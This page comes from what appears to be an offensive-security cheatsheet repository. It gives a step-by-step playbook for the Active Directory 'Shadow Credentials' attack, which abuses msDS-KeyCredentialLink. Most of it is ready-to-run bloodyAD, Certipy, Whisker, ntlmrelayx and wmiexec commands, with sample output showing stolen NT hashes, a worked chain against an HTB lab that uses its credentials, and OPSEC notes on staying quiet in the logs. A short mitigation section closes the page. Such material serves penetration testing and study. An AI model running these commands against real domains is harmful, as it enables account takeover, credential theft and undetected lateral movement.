daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

shadow-credentials-msds-keycredentiallink-abuse.md (8416B)


      1 ---
      2 title: "Shadow Credentials — msDS-KeyCredentialLink Abuse"
      3 description: "Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute msDS-KeyCredentialLink. If…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "ntlm", "relay", "lateral-movement"]
      7 tools: ["Rubeus", "Certipy", "BloodHound", "faketime"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/Shadow Credentials — msDS-KeyCredentialLink Abuse.md"
     11 ---
     12 # Shadow Credentials — msDS-KeyCredentialLink Abuse
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | ACL-based Escalation / Lateral Movement (Key Trust) |
     19 | **Difficulty** | Low–Medium |
     20 | **Pre-requisites** | `GenericWrite` / `GenericAll` / `WriteProperty` over the target's `msDS-KeyCredentialLink`; a DC that supports PKINIT (KDC cert present — i.e. ADCS in the forest) |
     21 | **Tools** | Certipy (`shadow`), Whisker, pyWhisker, ntlmrelayx, BloodyAD |
     22 | **OPSEC Noise** | Low — one attribute write, normal PKINIT auth |
     23 | **One-liner** | Write a Key Credential (your public key) into a target's `msDS-KeyCredentialLink`, then PKINIT-authenticate as that target with the matching private key — no password reset, no ADCS template needed. |
     24 
     25 ***
     26 
     27 ## What Is Shadow Credentials?
     28 
     29 Windows Hello for Business / Key Trust lets an account authenticate with a public/private key pair stored in the AD attribute **`msDS-KeyCredentialLink`**. If you have **write** over that attribute on a target user or computer (a common BloodHound ACL edge: `GenericWrite`, `GenericAll`, `AllowedToAct`, or `WriteProperty`), you can append **your own** Key Credential. You then authenticate as the target via **PKINIT** and, with UnPAC-the-hash, recover their NT hash.
     30 
     31 It is the cleanest way to weaponise a write-ACL edge: unlike a password reset it is reversible and quiet, and unlike an ADCS ESC it needs no vulnerable template — only that PKINIT works in the forest.
     32 
     33 <figure class="flow plate corners">
     34   <figcaption class="flow__cap"><span class="flow__kind">Shadow Credentials attack</span><span class="flow__dir">LR</span></figcaption>
     35   <div class="flow__body">
     36     <div class="flow__diagram" data-dir="lr">
     37       <div class="flow-rank"><div class="flow-node is-entry">GenericWrite over target</div></div>
     38       <div class="flow-edge"></div>
     39       <div class="flow-rank"><div class="flow-node">Write Key Credential<span class="sub">into msDS-KeyCredentialLink</span></div></div>
     40       <div class="flow-branches">
     41         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">PKINIT with your<span class="sub">private key</span></div><div class="flow-edge"></div><div class="flow-node is-goal">TGT + NT hash of target</div></div>
     42         <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node is-note">Restore attribute<span class="sub">clean up</span></div></div>
     43       </div>
     44     </div>
     45   </div>
     46 </figure>
     47 
     48 ***
     49 
     50 ## Step 0 — Confirm the Edge
     51 
     52 ```bash
     53 # BloodHound: look for GenericWrite/GenericAll/WriteProperty -> target
     54 # Certipy/Bloodyad can also read the attribute
     55 bloodyAD -u me -p pass -d domain.htb --host $TARGET get object 'targetuser' --attr msDS-KeyCredentialLink
     56 ```
     57 
     58 ***
     59 
     60 ## Step 1 (Option A) — bloodyAD only, no Certipy
     61 
     62 > [!tip] bloodyAD does the entire attack in one command
     63 > `add shadowCredentials` writes the Key Credential, performs PKINIT, and prints the target's **NT hash** directly. It also saves a TGT ccache (or a `.pfx` if PKINIT fails) via `--path`. This fully replaces `certipy shadow auto` — you never need Certipy for Shadow Credentials.
     64 
     65 ```bash
     66 bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser
     67 ```
     68 
     69 ```
     70 [+] KeyCredential generated with DeviceID ... added to targetuser
     71 [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325
     72 ```
     73 
     74 ```bash
     75 # save the recovered TGT/pfx somewhere specific
     76 bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' add shadowCredentials targetuser --path /tmp/targetuser
     77 
     78 # cleanup — remove the planted Key Credential
     79 bloodyAD --host dc01.domain.htb -d domain.htb -u me -p 'Passw0rd!' remove shadowCredentials targetuser
     80 ```
     81 
     82 > [!warning] DC FQDN + clock skew
     83 > PKINIT is Kerberos, so use the DC **name** (`--host dc01.domain.htb`, not the IP) and wrap with `faketime -f '+Xh'` if the clock is skewed (see faketime-cheatsheet).
     84 
     85 ### Worked chain — GenericAll on a group → add self → shadow-cred members (HTB Fluffy)
     86 
     87 ```bash
     88 # 1. GenericAll over 'Service Accounts' -> add yourself (grants GenericWrite over members)
     89 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add groupMember 'Service Accounts' p.agila
     90 
     91 # 2. Shadow-cred each service account -> NT hash, no Certipy
     92 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc
     93 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials ca_svc
     94 ```
     95 
     96 ***
     97 
     98 ## Step 1 (Option B) — Certipy (auto: add, auth, restore)
     99 
    100 ```bash
    101 certipy-ad shadow auto \
    102   -u 'me@domain.htb' -p 'Passw0rd!' \
    103   -dc-ip $TARGET -dc-host dc01.domain.htb \
    104   -account 'targetuser'
    105 ```
    106 
    107 > **Certipy v5 —** if `-dc-ip` alone gives `[Errno 113] No route to host`, add `-dc-host dc01.<domain>` (and `-ns $TARGET`), or drop `-dc-ip` and let Certipy resolve the DC via `/etc/hosts`.
    108 
    109 ```
    110 [*] Adding Key Credential to 'targetuser'
    111 [*] Authenticating as 'targetuser' via PKINIT
    112 [*] Got TGT ...
    113 [*] Got hash for 'targetuser@domain.htb': aad3b...:<NTHASH>
    114 [*] Restoring the old Key Credential attribute
    115 ```
    116 
    117 > [!tip] `auto` self-cleans
    118 > `shadow auto` adds the key, authenticates, dumps the hash, then restores the original attribute value so you leave no lingering Key Credential.
    119 
    120 ***
    121 
    122 ## Step 2 — Manual (Certipy sub-steps / Whisker)
    123 
    124 ```bash
    125 # Certipy granular
    126 certipy-ad shadow add    -u me -p pass -account targetuser -dc-ip $TARGET   # returns a saved .pfx + device-id
    127 certipy-ad shadow list   -u me -p pass -account targetuser -dc-ip $TARGET
    128 certipy-ad shadow remove -u me -p pass -account targetuser -device-id <GUID> -dc-ip $TARGET
    129 
    130 # Windows — Whisker
    131 Whisker.exe add /target:targetuser
    132 # outputs a Rubeus asktgt command with the /certificate blob -> UnPAC the hash
    133 ```
    134 
    135 ```bash
    136 # During NTLM relay (relay a coerced auth straight into a Shadow Cred write)
    137 ntlmrelayx.py -t ldap://DC01 --shadow-credentials --shadow-target 'targetuser'
    138 ```
    139 
    140 ***
    141 
    142 ## Step 3 — Use It
    143 
    144 ```bash
    145 export KRB5CCNAME=targetuser.ccache
    146 wmiexec.py -k -no-pass DC01.domain.htb
    147 # or Pass-the-Hash with the recovered NT hash
    148 ```
    149 
    150 > [!warning] Clock skew
    151 > PKINIT is Kerberos. On `KRB_AP_ERR_SKEW`, wrap Certipy with faketime (see faketime-cheatsheet).
    152 
    153 ***
    154 
    155 ## When It Fails
    156 
    157 | Symptom | Cause |
    158 | :-- | :-- |
    159 | `KDC has no support for PADATA type (PKINIT)` | No KDC/enrolment cert in the forest — Key Trust unavailable. Fall back to RBCD or password reset on the edge. |
    160 | Access denied writing attribute | You don't actually have write over `msDS-KeyCredentialLink` (edge misread). |
    161 | Auth works, no hash | UnPAC step needs the U2U; Certipy does it automatically, Rubeus needs `/getcredentials`. |
    162 
    163 ***
    164 
    165 ## OPSEC Considerations
    166 
    167 | Action | Log | Noise |
    168 | :-- | :-- | :-- |
    169 | Write `msDS-KeyCredentialLink` | Event 5136 (attribute modify) | 🟡 Medium (if audited) |
    170 | PKINIT auth | Event 4768 with cert info | 🟢 Low |
    171 | Restore attribute | Event 5136 | 🟢 Low |
    172 
    173 ***
    174 
    175 ## Mitigation
    176 
    177 - Audit and restrict write access to `msDS-KeyCredentialLink`; remove unnecessary `GenericWrite`/`GenericAll` edges (BloodHound review).
    178 - Enable SACL auditing (5136) on the attribute and alert on writes by non-AAD-Connect principals.
    179 - Where Windows Hello for Business Key Trust is unused, monitor for **any** Key Credential additions.
    180 
    181 ***
    182 
    183 ## See Also
    184 
    185 - _ADCS Attack Methodology Guide · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) · faketime-cheatsheet · bloodhound-ce-python-cheatsheet
    186 - Sources: Elad Shamir *Shadow Credentials*; [Whisker](https://github.com/eladshamir/Whisker); [pyWhisker](https://github.com/ShutdownRepo/pywhisker); [Certipy Wiki](https://github.com/ly4k/Certipy/wiki); [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)